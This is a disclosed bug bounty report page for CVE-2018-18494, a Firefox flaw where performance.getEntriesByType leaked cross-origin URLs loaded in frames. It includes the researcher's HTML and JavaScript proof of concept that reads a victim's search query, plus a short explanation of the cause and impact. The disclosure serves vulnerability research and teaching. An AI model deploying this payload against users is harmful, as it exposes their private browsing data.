Skip to content
Info disclosure Disclosed report Intermediate CVE-2018-18494

Cross-Origin URL Steal is possible using performance.getEntries()

A cross-origin URL leak in Firefox allowed an attacker to read the URL of a cross-origin resource loaded in an iframe by using performance.getEntriesByType. The attacker could steal the victim's search query if the victim typed into a search bar on the attacker's page.

James Lee Follow

Originally disclosed on Mozilla

  • Fixed in 3 months
  • Paid in 4 months
  • Disclosed after 3 months
Text
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Steps to reproduce:

The fix for this issue https://bugzilla.mozilla.org/show_bug.cgi?id=1468523 has correctly addressed, we can not reproduce by changing the location using a meta-refresh.

It alerts "http://pwning.click/con.html" when we run this inside a frame, which is expected result.

Test live on: http://pwning.click/redirffeg.html

However, we can reproduce this issue by changing its location using JavaScript location property. Note that the page need to run inside a frame.

Test live on: http://pwning.click/redirffeg2.html

Proof Of Concept:

redirffeg2.html:

<iframe src="http://pwning.click/ffredirtest.html"/></iframe>

ffredirtest.html:

<embed src="/ffloctest.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

ffloctest.html:

<script>location="https://www.bing.com/search?q=test"</script>


Tested on Firefox Nightly 63.0a1 (2018-08-31) (64-bit)


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL.


Expected results:

Accessing to Cross-Origin URL should be not possible.

The original report as published on Mozilla's Bugzilla, by James Lee. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser's performance API exposed resource timing entries for cross-origin resources without properly restricting access to the URL.

Impact

An attacker could steal the URL of a cross-origin page, potentially revealing sensitive information such as search queries, but the attack requires the victim to interact with the attacker's page.

What the attacker needed

Victim visits attacker's page; victim types into a search bar

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites are not supposed to be able to read the addresses of pages from other sites that they embed. This bug let a malicious page read the address of a page it loaded in a frame, so it could see what you searched for on another site.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by James Lee

View all

30 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.